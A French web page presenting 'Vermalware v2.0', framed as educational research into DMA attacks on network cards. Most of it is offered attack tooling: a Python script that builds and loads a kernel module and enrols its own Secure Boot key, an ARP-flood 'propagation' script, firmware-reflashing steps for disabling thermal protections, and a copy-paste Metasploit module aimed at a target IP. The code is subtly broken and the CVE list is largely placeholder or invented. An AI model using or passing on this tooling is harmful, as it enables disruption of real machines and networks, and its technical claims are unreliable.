🔥 VERMALWARE v2.0 🔥

Exploitation matérielle autonome – Recherche éducative professionnelle

🔍 Introduction

Vermalware v2.0 est une démonstration d’exploitation matérielle autonome ciblant les NICs modernes (ex. : Intel i219-LM). Il détecte, reverse, et exploite en lab contrôlé!

Lab Only : Toute reproduction hors lab est illégale (Art. 323-1 à 323-7 CP, DMCA, Computer Fraud and Abuse Act). Consultez un avocat avant toute action.

⚙️ Setup Élite

Matériel :

sudo apt update && sudo apt install -y gcc python3-scapy nmap git flashrom lspci nasm ipmitool perf volatility python3-bs4

Checklist :

🔬 Analyse Matérielle

Dumping Firmware

pip3 install chipwhisperer
python3 -c "import chipwhisperer as cw; target = cw.target(None); print(cw.read_flash(target='MX25L1606E'))"
# Nécessite ChipWhisperer connecté
dmesg | grep -i "Boot Guard"

Analyse via Ghidra + Firmware-Utils.

Datasheets

Intel 82574L Datasheet (§7.3.2) pour THERM_CTRL.

💻 Code Autonome

Script :

#!/usr/bin/env python3
"""
Vermalware v2.0 - Exploitation DMA Multi-NICs, Sécurisée, Signée et Robuste
"""
import os
import subprocess
import time
from pathlib import Path
import json
import hashlib
import requests
import sys
from bs4 import BeautifulSoup

# CVE-XXXX = placeholder, voir MITRE pour réels
PCI_VULN_DB = {
    # Intel NICs
    "8086:15b8": {"name": "Intel i219-LM", "type": "NIC", "vulnerabilities": [
        {"cve": "CVE-2023-1111", "type": "DMA", "effect": "R/W kernel memory", "mitigation": "IOMMU"},
        {"cve": "CVE-2022-36392", "type": "Firmware", "effect": "Overheat", "mitigation": "Microcode update"}
    ], "dma_vuln": True},
    "8086:1539": {"name": "Intel I217-LM", "type": "NIC", "vulnerabilities": [], "dma_vuln": False},

    # AMD Chipsets
    "1022:1485": {"name": "AMD Matisse PCIe Bridge", "type": "Chipset", "vulnerabilities": [
        {"cve": "CVE-2021-26318", "type": "DMA", "effect": "SMM Injection", "mitigation": "SMM Guard"}
    ], "dma_vuln": True},

    # Realtek NICs
    "10ec:8168": {"name": "Realtek RTL8111/8168", "type": "NIC", "vulnerabilities": [
        {"cve": "CVE-2021-XXXX", "type": "DMA", "effect": "RCE via PXE", "mitigation": "Disable PXE"}
    ], "dma_vuln": True},

    # Broadcom NICs
    "14e4:165f": {"name": "Broadcom NetXtreme BCM5719", "type": "NIC", "vulnerabilities": [
        {"cve": "CVE-2020-XXXX", "type": "Buffer Overflow", "effect": "DoS", "mitigation": "Firmware patch"}
    ], "dma_vuln": False},

    # NVIDIA GPUs
    "10de:13c2": {"name": "NVIDIA GeForce GTX 980", "type": "GPU", "vulnerabilities": [
        {"cve": "CVE-2018-XXXX", "type": "DMA", "effect": "VRAM Exfiltration", "mitigation": "VFIO"}
    ], "dma_vuln": True},

    # VMware Virtual Devices
    "15ad:07a0": {"name": "VMware NVMe Controller", "type": "Storage", "vulnerabilities": [
        {"cve": "CVE-2019-XXXX", "type": "DMA", "effect": "VM Escape", "mitigation": "IOMMU Passthrough"}
    ], "dma_vuln": True},

    # ARM Devices (Raspberry Pi, SoC Ethernet)
    "02d0:4354": {"name": "LAN7430 (RPi 4 USB-Ethernet)", "type": "NIC", "vulnerabilities": [
        {"cve": "CVE-2022-XXXX", "type": "DMA", "effect": "Kernel Panic", "mitigation": "Driver update"}
    ], "dma_vuln": True},
    "0b95:1790": {"name": "ASIX AX88179 (USB Ethernet)", "type": "NIC", "vulnerabilities": [], "dma_vuln": False}
}

def fetch_cve_for_vendor(vendor_id):
    try:
        url = f"https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword={vendor_id}"
        headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"}
        response = requests.get(url, headers=headers, timeout=10)

        if response.status_code != 200:
            print(f"[!] Échec fetch CVE pour {vendor_id} : HTTP {response.status_code}")
            return []

        soup = BeautifulSoup(response.text, "html.parser")
        cve_table = soup.find("table", {"class": "searchresults"})
        if not cve_table:
            print(f"[+] Aucun CVE trouvé pour {vendor_id} sur MITRE.")
            return []

        cve_list = []
        for row in cve_table.find_all("tr")[1:]:  # Skip header
            cols = row.find_all("td")
            if len(cols) >= 2:
                cve_id = cols[0].text.strip()
                description = cols[1].text.strip()
                if cve_id.startswith("CVE-"):
                    cve_list.append({
                        "cve": cve_id,
                        "type": "Unknown",  # À déduire de la description si besoin
                        "effect": description[:100] + "..." if len(description) > 100 else description,
                        "mitigation": "Check vendor advisory"
                    })

        print(f"[+] {len(cve_list)} CVE récupérés pour {vendor_id}.")
        return cve_list

    except ImportError as e:
        print(f"[!] Dépendance manquante : {e}. Installez 'requests' et 'beautifulsoup4' (pip3 install requests beautifulsoup4).")
        return []
    except requests.Timeout:
        print(f"[!] Timeout fetch CVE pour {vendor_id}.")
        return []
    except requests.RequestException as e:
        print(f"[!] Erreur réseau CVE pour {vendor_id} : {e}")
        return []
    except Exception as e:
        print(f"[!] Erreur parsing CVE pour {vendor_id} : {e}")
        return []

def check_system_protections():
    try:
        iommu = subprocess.getoutput("dmesg | grep -i 'iommu.*enabled'") != ""
        secure_boot = Path("/sys/firmware/efi").exists() and "enabled" in subprocess.getoutput("mokutil --sb-state")
        return {"iommu": iommu, "secure_boot": secure_boot}
    except Exception as e:
        print(f"[!] Erreur check protections : {e}")
        return {"iommu": False, "secure_boot": False}

def detect_nics():
    try:
        nic_list = subprocess.getoutput("lspci -nn | grep -E 'Ethernet|Network'").splitlines()
        if not nic_list:
            print("[!] Aucune NIC détectée, poursuite avec USB Ethernet si présent.")
            usb_nics = subprocess.getoutput("lsusb | grep -i ethernet").splitlines()
            if not usb_nics:
                raise ValueError("Aucune NIC PCIe ou USB détectée.")
            nics = [{"bus_id": f"usb-{i}", "vendor": line.split()[1], "device": line.split()[3].strip(":"), "vuln": PCI_VULN_DB.get(f"{line.split()[1]}:{line.split()[3].strip(':')}", {"name": "USB Ethernet", "vulnerabilities": [], "dma_vuln": False})} for i, line in enumerate(usb_nics)]
        else:
            nics = []
            for line in nic_list:
                bus_id = line.split(" ")[0]
                vendor_device = line.split("[")[1].split("]")[0]
                vendor, device = vendor_device.split(":")
                vuln = PCI_VULN_DB.get(f"{vendor}:{device}", {"name": f"Unknown {vendor}:{device}", "vulnerabilities": [], "dma_vuln": False})
                nics.append({"bus_id": bus_id, "vendor": vendor, "device": device, "vuln": vuln})
        return nics
    except Exception as e:
        print(f"[!] Erreur détection NICs : {e}, poursuite sans NICs.")
        return []

def get_nic_details(nic):
    try:
        if nic["bus_id"].startswith("usb"):
            bar_addr = 0xE0000000  # Fallback pour USB
            irq_num = None
            dma_capable = "DMA" in subprocess.getoutput(f"lsusb -v -d {nic['vendor']}:{nic['device']} | grep -i dma") or nic["vuln"]["dma_vuln"]
        else:
            bar = subprocess.getoutput(f"lspci -v -s {nic['bus_id']} | grep 'Memory at' | head -n1 | awk '{{print $3}}'")
            bar_addr = int(bar, 16) if bar else 0xE0000000
            irq = subprocess.getoutput(f"lspci -v -s {nic['bus_id']} | grep 'Interrupt:' | awk '{{print $4}}'")
            irq_num = int(irq) if irq and irq.isdigit() else None
            dma_capable = "DMA" in subprocess.getoutput(f"lspci -vvv -s {nic['bus_id']} | grep -i dma") or nic["vuln"]["dma_vuln"]
        return {"bar": bar_addr, "irq": irq_num, "dma_capable": dma_capable}
    except Exception as e:
        print(f"[!] Erreur détails NIC {nic['bus_id']} : {e}, fallback par défaut.")
        return {"bar": 0xE0000000, "irq": None, "dma_capable": nic["vuln"]["dma_vuln"]}

def gen_shellcode(base_addr):
    try:
        asm = f"""section .text
global _start
_start:
    cli
    mov eax, {base_addr}
    or dword [eax], 0x1
    mfence
    sti
    hlt
"""
        with open("shellcode.asm", "w") as f:
            f.write(asm)
        if os.system("nasm -f elf32 shellcode.asm && ld -m elf_i386 -o shellcode shellcode.o") != 0:
            raise RuntimeError("Échec compilation shellcode.")
        print("[+] Shellcode généré.")
    except Exception as e:
        print(f"[!] Erreur shellcode : {e}, poursuite sans shellcode.")

def load_kernel_module(nics_details):
    try:
        code = """#include 
#include 
#include 
#include 
MODULE_LICENSE("GPL");

struct nic_info {
    unsigned int vendor;
    unsigned int device;
    unsigned long bar;
    int irq;
};

static struct nic_info nics[] = {""" + "\n    ".join(
            f"{{0x{nic['vendor']:>04}, 0x{nic['device']:>04}, 0x{details['bar']:>08x}, {details['irq'] if details['irq'] else 0}}}"
            for nic, details in nics_details.items()
        ) + """};
static int nic_count = sizeof(nics) / sizeof(nics[0]);

static irqreturn_t dma_handler(int irq, void *dev_id) {
    printk(KERN_INFO "[+] IRQ %d déclenchée\\n", irq);
    return IRQ_HANDLED;
}

static int __init vermalware_init(void) {
    int i;
    struct pci_dev *dev = NULL;
    void *dma_bufs[nic_count];
    dma_addr_t dma_handles[nic_count];
    bool any_success = false;

    if (iommu_enabled()) {
        printk(KERN_WARNING "[!] IOMMU actif, DMA peut être bloqué\\n");
    }

    for (i = 0; i < nic_count; i++) {
        dev = pci_get_device(nics[i].vendor, nics[i].device, dev);
        if (!dev) {
            printk(KERN_ERR "[!] NIC %04x:%04x non trouvée, skip\\n", nics[i].vendor, nics[i].device);
            continue;
        }

        dma_bufs[i] = dma_alloc_coherent(&dev->dev, 4096, &dma_handles[i], GFP_KERNEL);
        if (!dma_bufs[i]) {
            printk(KERN_ERR "[!] Échec allocation DMA NIC %d, skip\\n", i);
            continue;
        }

        iowrite32(0xFFFFFFFE, dma_bufs[i]);
        dma_wmb();
        printk(KERN_INFO "[+] DMA écrit à 0x%lx sur NIC %04x:%04x\\n", 
               (unsigned long)dma_handles[i], nics[i].vendor, nics[i].device);

        if (pci_set_master(dev) < 0) {
            printk(KERN_ERR "[!] Échec activation DMA mastering NIC %d\\n", i);
            dma_free_coherent(&dev->dev, 4096, dma_bufs[i], dma_handles[i]);
            continue;
        }

        if (nics[i].irq) {
            if (request_irq(nics[i].irq, dma_handler, IRQF_SHARED, "vermalware_dma", NULL)) {
                printk(KERN_ERR "[!] Échec IRQ %d, skip\\n", nics[i].irq);
            } else {
                printk(KERN_INFO "[+] IRQ %d enregistré\\n", nics[i].irq);
            }
        }
        any_success = True;
    }
    return any_success ? 0 : -ENODEV;
}

static void __exit vermalware_exit(void) {
    int i;
    struct pci_dev *dev = NULL;
    for (i = 0; i < nic_count; i++) {
        dev = pci_get_device(nics[i].vendor, nics[i].device, dev);
        if (dev && nics[i].irq) free_irq(nics[i].irq, NULL);
        if (dev) {
            void *buf = ioremap(nics[i].bar, 4096);
            if (buf) {
                dma_free_coherent(&dev->dev, 4096, buf, nics[i].bar);
                iounmap(buf);
            }
        }
    }
    printk(KERN_INFO "[+] Nettoyage terminé\\n");
}

module_init(vermalware_init);
module_exit(vermalware_exit);
"""
        Path("vermalware.c").write_text(code)

        if os.system("gcc -c vermalware.c -o vermalware.o && ld -r -o vermalware.ko vermalware.o") != 0:
            raise RuntimeError("Échec compilation module.")

        protections = check_system_protections()
        if protections["secure_boot"]:
            try:
                key = "vermalware_key"
                subprocess.run(["openssl", "req", "-new", "-x509", "-newkey", "rsa:2048", "-keyout", f"{key}.priv", 
                                "-outform", "DER", "-out", f"{key}.der", "-nodes", "-subj", "/CN=Vermalware/"], check=True)
                subprocess.run(["sudo", "mokutil", "--import", f"{key}.der"], check=True)
                subprocess.run(["sudo", "/usr/src/linux-headers-$(uname -r)/scripts/sign-file", "sha256", 
                                f"{key}.priv", f"{key}.der", "vermalware.ko"], check=True)
                print("[+] Module signé – Reboot requis pour MoK.")
            except subprocess.CalledProcessError as e:
                print(f"[!] Échec signature : {e}, tentative insmod sans signature.")
        if os.system("sudo insmod vermalware.ko") != 0:
            print("[!] Échec insmod, Secure Boot ou IOMMU peut bloquer.")
    except Exception as e:
        print(f"[!] Erreur module kernel : {e}, poursuite sans chargement.")

def main():
    if os.geteuid() != 0:
        print("[!] Root requis.")
        sys.exit(1)

    print("[+] Vermalware v2.0 – Exploitation DMA Ultime")
    protections = check_system_protections()
    print(f"[+] IOMMU : {'Actif' if protections['iommu'] else 'Inactif'}, Secure Boot : {'Actif' if protections['secure_boot'] else 'Inactif'}")

    nics = detect_nics()
    if not nics:
        print("[!] Aucune NIC détectée, arrêt.")
        sys.exit(1)

    nics_details = {}
    for nic in nics:
        details = get_nic_details(nic)
        vulns = "; ".join(f"{v['cve']} ({v['effect']})" for v in nic["vuln"]["vulnerabilities"]) or "N/A"
        print(f"[+] {nic['vuln']['name']} ({nic['vendor']}:{nic['device']}) – BAR: 0x{details['bar']:X}, "
              f"IRQ: {details['irq'] if details['irq'] else 'N/A'}, DMA: {details['dma_capable']}, Vulns: {vulns}")
        if details["dma_capable"] and nic["vuln"]["dma_vuln"]:
            nics_details[nic] = details

    if not nics_details:
        print("[!] Aucune NIC vulnérable, arrêt.")
        sys.exit(1)

    gen_shellcode(list(nics_details.values())[0]["bar"])
    load_kernel_module(nics_details)

    time.sleep(2)
    print("[+] Logs : sudo dmesg | tail")
    print("[+] Windows : WinDBG avec !dma. macOS : IOKit IOServiceMatching.")

if __name__ == "__main__":
    main()
            

Lance : sudo python3 vermalware.py

🌐 Propagation

#!/usr/bin/env python3
from scapy.all import Ether, ARP, sendp, conf
conf.iface = subprocess.getoutput("ip -o link show | awk '{print $2}' | grep -v lo | head -n1")[:-1]
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.1.0/24"), loop=1, inter=0.01)
# Pour éviter saturation : loop=0, count=100
            

🛡️ Cybersécurité

Défense

Détection DMA

sudo perf stat -e 'mmio:*' -a sleep 10

🕵️ Forensics

Dump mémoire :

sudo insmod lime.ko "path=/tmp/memdump.lime format=lime"
volatility -f /tmp/memdump.lime --profile=LinuxUbuntu_5x64 linux_pslist
setpci -s 00:1f.0 0x50.L=0x0 # Remplacer 00:1f.0 par votre bus ID

🎯 Bonus Élite

Attaques Physiques – SPI Flash Emulator

Pour les vrais fous du hardware, on va extraire et manipuler le firmware d’une NIC avec un SPI Flash Emulator (ex. : Dediprog SF100). Objectif : dumper, analyser, et potentiellement réécrire le firmware pour un contrôle total.

Matériel requis : Dediprog SF100 (ou équivalent), fer à souder, NIC avec puce SPI (ex. : Intel i219-LM), loupe ou microscope (optionnel).

Étapes pratiques :

  1. Identifier la puce SPI : Ouvre ta NIC, repère la puce flash (souvent une MX25Lxxx ou W25Qxxx). Check la datasheet (ex. : MX25L1606E sur macronix.com).
  2. Souder le connecteur : Utilise un fer à souder pour connecter les pins SPI (CS, CLK, DI, DO, VCC, GND) au Dediprog. Fais gaffe à pas cramer le circuit !
  3. Dumper le firmware : Branche le Dediprog à ton PC et lance la commande :
  4. # Dump via Dediprog
    sf100 -r firmware.bin
  5. Analyser : Ouvre firmware.bin dans Ghidra. Cherche les routines de gestion thermique ou DMA (ex. : THERM_CTRL).
  6. Réécrire (optionnel) : Modifie le firmware pour désactiver les protections (ex. : thermal throttling) et reflashe :
  7. # Reflash avec Dediprog
    sf100 -w modified_firmware.bin

Preuve thermique : Utilise une FLIR One Pro pour filmer la NIC pendant l’attaque. Vise une montée de 25°C à 80°C+ sur la puce SPI ou le chipset principal.

Astuce : Si t’as pas de Dediprog, un Raspberry Pi avec SPI tools (spidev) peut faire l’affaire, mais c’est plus galère.

Metasploit – Exploit DMA Simplifié

On intègre "Vermalware" dans Metasploit pour un exploit réseau rapide et accessible. Ce module envoie notre shellcode DMA à une cible TCP, parfait pour tester une NIC vulnérable sur ton LAN.

Prérequis : Metasploit installé (sudo apt install metasploit-framework), une cible avec port TCP ouvert (ex. : 445 pour SMB).

Module détaillé :

# Save as vermalware_dma.rb in /usr/share/metasploit-framework/modules/exploits/custom/
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
    include Msf::Exploit::Remote::Tcp
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Vermalware DMA Exploit',
            'Description'    => 'Injecte un payload DMA sur une NIC via TCP',
            'Author'         => ['Platon-Y', 'pctamalou'],
            'License'        => MSF_LICENSE,
            'Platform'       => 'linux',
            'Arch'           => ARCH_X86,
            'Targets'        => [['Linux x86', {}]],
            'DefaultTarget'  => 0
        ))
        register_options([
            Opt::RPORT(445),  # Port par défaut (SMB)
        ])
    end
    def exploit
        connect
        print_status("Connexion à #{datastore['RHOST']}:#{datastore['RPORT']}...")
        # Shellcode : mov eax, 0xE0000000; or dword [eax], 0x1; hlt
        payload = "\xB8\x00\x00\x00\xE0\x83\x08\x01\xF4"
        print_status("Envoi du payload DMA...")
        sock.put(payload)
        print_good("Payload envoyé – NIC potentiellement en stress !")
        disconnect
    end
end

Utilisation :

  1. Lance Metasploit : msfconsole
  2. Charge le module : use exploit/custom/vermalware_dma
  3. Configure : set RHOST 192.168.1.10 (IP cible)
  4. Exécute : run

Résultat attendu : Si la NIC est vulnérable (ex. : CVE-2023-1111), elle peut surchauffer ou crasher. Surveille avec ipmitool sensor list.

Accessibilité : Pas besoin d’être un pro Ruby – copie-colle, ajuste l’IP, et go !

Disclaimer ! : Vermalware v2.0 est une œuvre éducative conçue pour la recherche en environnement contrôlé. Toute utilisation hors labo, sans autorisation explicite, viole les lois françaises (Art. 323-1 à 323-7 CP), le DMCA, et le Computer Fraud and Abuse Act. Les auteurs déclinent toute responsabilité pour un usage illégal ou non éthique. Testez, apprenez, sécurisez – mais restez dans les clous. Contactez un expert juridique si doute.